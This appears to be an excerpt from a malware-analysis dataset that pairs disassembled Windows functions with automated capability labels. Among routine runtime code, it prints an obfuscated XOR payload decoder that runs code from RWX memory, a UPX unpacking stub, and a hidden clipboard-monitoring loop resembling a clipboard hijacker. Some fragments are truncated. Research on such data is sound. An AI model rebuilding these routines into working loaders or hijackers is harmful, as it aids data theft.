joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e50
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x407590
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x403e74
add eax, 8
inc ebp
cmp eax, 0x407620
jb 0x403e65
cmp ecx, dword [ebp*8 + 0x407590]
jne 0x40401b
mov eax, dword [0x409cd8]
cmp eax, 1
je 0x403fdd
test eax, eax
jne 0x403ea0
cmp dword [0x4073e4], 1
je 0x403fdd
cmp ecx, 0xfc
je 0x40401b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403edb
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x403f24
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x406428
add ebx, ecx
push ebx
call fcn.00405240
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406408
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x407594]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004051b0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x40b080]
test eax, eax
je 0x403fee
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x403ff8
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x407594]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x4040f0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [0x40b180]
sub esp, 0x41c
cmp eax, ecx
push ebx
push ebp
push esi
push edi
jae 0x40429d
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 0x1f
mov edx, dword [ecx*4 + 0x40b080]
lea edi, [ecx*4 + 0x40b080]
shl esi, 3
mov dword [esp + 0x24], edi
mov dword [esp + 0x14], esi
mov cl, byte [esi + edx + 4]
test cl, 1
je 0x40429d
mov ebx, dword [esp + 0x438]
xor ebp, ebp
cmp ebx, ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0x20], ebp
jne 0x40415e
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
test cl, 0x20
je 0x40416f
push 2
push ebp
push eax
call fcn.00404030
add esp, 0xc
mov eax, dword [edi]
add eax, esi
test byte [eax + 4], 0x80
je 0x4042ce
mov ebp, dword [esp + 0x434]
mov dword [esp + 0x18], 0
test ebx, ebx
mov edi, ebp
jbe 0x404219
lea eax, [esp + 0x28]
mov ecx, edi
sub ecx, ebp
cmp ecx, ebx
jae 0x4041ca
mov cl, byte [edi]
inc edi
cmp cl, 0xa
jne 0x4041b7
mov esi, dword [esp + 0x20]
mov byte [eax], 0xd
inc esi
inc eax
mov dword [esp + 0x20], esi
mov byte [eax], cl
inc eax
mov edx, eax
lea ecx, [esp + 0x28]
sub edx, ecx
cmp edx, 0x400
jl 0x40419a
mov esi, eax
lea edx, [esp + 0x28]
lea eax, [esp + 0x1c]
sub esi, edx
mov edx, dword [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x30]
mov eax, dword [edx]
push esi
push ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + eax]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4042bf
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, eax
cmp eax, esi
mov dword [esp + 0x10], edx
jl 0x404215
mov eax, edi
sub eax, ebp
cmp eax, ebx
jb 0x404196
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40428e
mov eax, dword [esp + 0x18]
test eax, eax
je 0x404262
cmp eax, 5
jne 0x40424b
mov dword [0x409c88], eax
mov dword [0x409c84], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
push eax
call fcn.00405340
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
test byte [esi + edx + 4], 0x40
je 0x404282
cmp byte [ebp], 0x1a
jne 0x404282
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov dword [0x409c84], 0x1c
jmp 0x4042a7
sub eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret
mov dword [0x409c84], 9
pop edi
pop esi
pop ebp
mov dword [0x409c88], 0
or eax, 0xffffffff
pop ebx
add esp, 0x41c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x404215
mov edx, dword [eax]
lea ecx, [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x438]
push ecx
push ebx
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4042ff
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], eax
jmp 0x404219
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
jmp 0x404219
Function at 0x9f83c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3f9000]
push edi
jmp 0x9f83da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9f83e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9f83d0
mov eax, 1
add ebx, ebx
jne 0x9f83f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9f8404
jne 0x9f8423
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9f8423
dec eax
add ebx, ebx
jne 0x9f8410
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x9f83e8
add ebx, ebx
jne 0x9f841f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x9f8475
xor ecx, ecx
sub eax, 3
jb 0x9f843b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x9f84aa
sar eax, 1
mov ebp, eax
jmp 0x9f8446
add ebx, ebx
jne 0x9f8446
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9f8414
inc ecx
add ebx, ebx
jne 0x9f8454
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9f8414
add ebx, ebx
jne 0x9f8461
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x9f8456
jne 0x9f8472
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9f8456
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x9f8494
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x9f8486
jmp 0x9f83d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x9f8494
add edi, ecx
jmp 0x9f83d6
pop esi
mov edi, esi
mov ecx, 0x12f17
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x9f84b2
cmp byte [edi], 0x38
jne 0x9f84b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x9f84b7
lea edi, [esi + 0x5f5000]
mov eax, dword [edi]
or eax, eax
je 0x9f852f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5f8068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5f8180]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9f84e4
mov ecx, edi
jns 0x9f8513
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5f8184]
or eax, eax
je 0x9f8529
mov dword [ebx], eax
add ebx, 4
jmp 0x9f8501
call dword [esi + 0x5f8194]
mov ebp, dword [esi + 0x5f8188]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9f8563
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x406d01
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 0x80
push 5
push ebx
push 3
push 0x40000000
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp dword [esi + 0x18], 0xffffffff
mov edi, eax
jne 0x406d31
xor al, al
jmp 0x406d55
cmp byte [esi + 0xb], bl
je 0x406d4c
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 2
push 0x43a418
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dd9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x442008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x18
mov dword [ebp - 0x74], ecx
lea edi, [ebp - 0x68]
pop ecx
mov esi, str.SYSTEMCurrentControlSetControlSession_Manager
lea eax, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x20019
xor ebx, ebx
lea eax, [ebp - 0x68]
push ebx
push eax
push 0x80000002
movsw word es:[edi], word [esi]
mov dword [ebp - 0x70], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406f01
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x6c]
push 7
pop esi
push eax
push ebx
lea eax, [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
push eax
push ebx
push str.PendingFileRenameOperations
push dword [ebp - 0x70]
mov dword [ebp - 0x78], esi
call edi
test eax, eax
jne 0x406f01
cmp dword [ebp - 0x78], esi
jne 0x406f01
push dword [ebp - 0x6c]
call fcn.0042bb65
push dword [ebp - 0x6c]
mov esi, eax
push ebx
push esi
call fcn.00417a80
add esp, 0x10
lea eax, [ebp - 0x6c]
push eax
push esi
push ebx
push ebx
push str.PendingFileRenameOperations
push dword [ebp - 0x70]
call edi
test eax, eax
jne 0x406ef2
mov edi, dword [ebp - 0x6c]
shr edi, 1
mov dword [ebp - 0x7c], edi
lea eax, [edi - 2]
cmp eax, 0xffffd
ja 0x406ef2
cmp word [esi + edi*2 - 4], bx
jne 0x406ef2
cmp word [esi + edi*2 - 2], bx
jne 0x406ef2
mov eax, dword [ebp - 0x74]
lea ecx, [ebp - 0x74]
add eax, 0x14
mov edx, 0x43b7c4
push eax
call fcn.00407105
test edi, edi
mov edi, dword [ebp - 0x74]
pop ecx
je 0x406ee1
lea eax, [esi + ebx*2]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406ee4
lea eax, [esi + ebx*2]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
add ebx, eax
cmp ebx, dword [ebp - 0x7c]
jb 0x406ec0
or ebx, 0xffffffff
cmp ebx, 0xffffffff
lea ecx, [edi - 0x10]
setne bl
call fcn.004015ce
test esi, esi
je 0x406efd
push esi
call fcn.00417525
pop ecx
mov al, bl
jmp 0x406f03
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00416f09
leave
ret
Function at 0x405d43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x405d52
pop dword [ebp - 0x30]
mov eax, 0xd9ee6983
add eax, 0x2651f3cf
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xe9fa0afe
sub dword [ebp - 0x40], 0x9ba7c5b3
mov dword [ebp - 0x3c], 0xa1a2d429
sub dword [ebp - 0x3c], 0x6f6f87e4
mov dword [ebp - 0x38], 0xc8db02dc
add dword [ebp - 0x38], 0x83714152
mov dword [ebp - 0x34], 0xf4e8eb76
sub dword [ebp - 0x34], 0xf4e8eb76
lea eax, [ebp - 0x40]
push eax
mov eax, 0x826c8529
sub eax, 0x822c13e5
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xd27ab41b
add dword [ebp - 0x40], 0xa1f7b53b
mov dword [ebp - 0x3c], 0xe4d38e2a
sub dword [ebp - 0x3c], 0xa3672cb5
mov dword [ebp - 0x38], 0xf83f9190
add dword [ebp - 0x38], 0x6b2fdadc
mov dword [ebp - 0x34], 0x84433076
add dword [ebp - 0x34], 0x7bbccf8a
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x1aa1844e
sub eax, 0x1a61133e
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38e55
push 0
call eax
mov ecx, 0x4fcb
mov edi, eax
mov edx, 0x436000
add edx, dword [ebp - 0x30]
mov esi, 0xe67435a
add esi, 0xa993b333
xor dword [ebp - 0x20], 0x8f6fa5e6
mov ebx, dword [edx]
sub dword [ebp - 0x28], ecx
add ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x28], eax
add edi, 0xe974887d
add edi, 0x168b7787
add edx, 0xac9eb080
add edx, 0x53614f84
loop 0x405e68
add eax, 0x80b06b69
sub eax, 0x80af396a
xor ebx, ebx
add ebx, eax
add eax, 0x90399f53
sub eax, 0x90399f4e
mov ecx, 0xcdeece2f
sub ecx, 0xcdaece2f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x406120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422af4], 0
push esi
jne 0x406157
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406131
mov dword [ecx*4 + 0x422af0], eax
inc ecx
cmp ecx, 0x100
jl 0x40612c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406188
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422af0]
xor eax, esi
inc ecx
dec edx
jne 0x40616a
pop edi
not eax
pop esi
ret 0xc
Function at 0x40b760
Capabilities:
Set console window title

Disassembly:
sub esp, 0x1c
cmp dword [0x2ae51dc], 0x930
jne 0x40b77a
push str.tiyayejetupoxasowujozizoc
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x2ae51dc], 0x114e
mov eax, dword [esp + 0x20]
mov dword [0x2ae4ef8], eax
jne 0x40b7a1
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
lea ecx, [esp]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
add esp, 0x1c
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x60
push 0x2a499f8
call fcn.0040121c
mov edi, 0x94
mov eax, edi
call fcn.004011dc
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x2a499f8], ecx
mov eax, dword [esi + 4]
mov dword [0x2a499fc], eax
mov edx, dword [esi + 8]
mov dword [0x2a49a00], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x2a49a04], esi
cmp ecx, 2
je 0x401060
or esi, 0x8000
mov dword [0x2a49a08], esi
shl eax, 8
add eax, edx
mov dword [0x2a499f8], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40109b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40109b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4010b3
cmp eax, 0x20b
je 0x4010a0
mov dword [ebp - 0x1c], esi
jmp 0x4010c7
cmp dword [ecx + 0x84], 0xe
jbe 0x40109b
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4010c1
cmp dword [ecx + 0x74], 0xe
jbe 0x40109b
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00401224
pop ecx
test eax, eax
jne 0x4010f3
cmp dword [0x2a499f8], 1
jne 0x4010e0
call fcn.00401224
push 0x1c
call fcn.00401224
push 0xff
call fcn.00401224
pop ecx
pop ecx
call fcn.00401224
mov dword [ebp - 4], esi
call fcn.00401224
test eax, eax
jge 0x40110c
push 0x1b
call fcn.00401224
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x2a499f8], eax
call fcn.00401224
mov dword [0x2a499fc], eax
call fcn.00401224
test eax, eax
jge 0x401132
push 8
call fcn.00401224
pop ecx
call fcn.00401224
test eax, eax
jge 0x401143
push 9
call fcn.00401224
pop ecx
push 1
call fcn.00401224
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401159
push eax
call fcn.00401224
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401224
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40117a
movzx eax, word [ebp - 0x40]
jmp 0x40117d
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401228
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40119b
push edi
call fcn.00401220
call fcn.00401224
jmp 0x4011cd
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00401224
ret

Function at 0x401228
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push esi
push edi
push ebx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x803000
push section..rdata
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401252
push 0x2247740
jmp 0x40125e
pop ebx
pop edi
pop esi
leave
ret 0x14
ret
Function at 0x4368f8
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x436933
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x43691a
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x43692b
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x436935
inc edi
add eax, 0x28
cmp edi, esi
jb 0x436910
xor eax, eax
pop edi
pop esi
ret

Function at 0x436c78
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xchg esp, eax
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
invalid

Function at 0x436ca8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
mov eax, dword [0xa245c62e]
xor eax, 0x24a345c6

Function at 0x43aba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4657e0
cmp dword [edi], 0
jne 0x43ac1c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4657dc]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x45e918
mov ecx, 2
call fcn.004028d4
mov edx, 0x43ab78
lea eax, [esi + 5]
call fcn.0043ab98
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043ab98
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43abf1
mov dword [0x4657dc], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x43ad38
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43ad88]
test si, 4
je 0x43ad4c
or bl, 1
test si, 8
je 0x43ad56
or bl, 4
test si, 1
je 0x43ad60
or bl, 8
test si, 2
je 0x43ad6a
or bl, 0x10
test si, 0x10
je 0x43ad74
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43ad83
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x43ad8c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43adc4]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43ada5
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43adb4
or bl, 4
test esi, 0x20000000
je 0x43adbf
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x401560
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov dword [esp], 0
mov ebx, dword [esp + 0x20]
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
jne 0x401584
add esp, 0x10
pop ebx
pop esi
pop edi
ret
mov dword [esp], 1
call sub.USER32.dll_IsClipboardFormatAvailable
sub esp, 4
test eax, eax
je 0x40157d
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
test eax, eax
mov esi, eax
je 0x4015f6
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
mov edi, eax
je 0x4015f6
mov dword [esp], eax
call fcn.004014e0
add eax, 1
movzx eax, ax
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll_realloc
test eax, eax
mov dword [ebx], eax
je 0x4015eb
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
add esp, 0x10
pop ebx
pop esi
pop edi
jmp fcn.0040256c

Function at 0x401610
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0
mov ebx, dword [esp + 0x20]
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
jne 0x401632
add esp, 0x14
pop ebx
pop esi
ret
call sub.USER32.dll_EmptyClipboard
mov dword [esp], ebx
call fcn.004014e0
movzx eax, ax
mov dword [esp], 0
add eax, 1
mov dword [esp + 4], eax
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
test eax, eax
mov esi, eax
je 0x401697
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
je 0x4016a1
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
add esp, 0x14
pop ebx
pop esi
jmp fcn.0040256c
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x401697

Function at 0x4017a0
Capabilities:
Hide graphical window

Disassembly:
push esi
push ebx
mov edx, 0xffffffff
sub esp, 0x24
mov eax, dword [esp + 0x30]
mov dword [esp + 0x14], 0
mov word [esp + 0x18], dx
mov dword [esp + 0x1c], 0x404068
mov dword [esp], eax
call fcn.004016f0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
lea esi, [esp + 0x14]
lea ebx, [esp + 0x18]
lea esi, [esi]
lea edi, [edi]
mov dword [esp], 0x32
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], esi
call fcn.00401560
mov eax, dword [esp + 0x14]
mov dword [esp], ebx
mov dword [esp + 0x1c], eax
call fcn.00401840
cmp word [esp + 0x18], 0xffff
je 0x4017f0
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.00401610
mov eax, 0xffffffff
mov word [esp + 0x18], ax
jmp 0x4017f0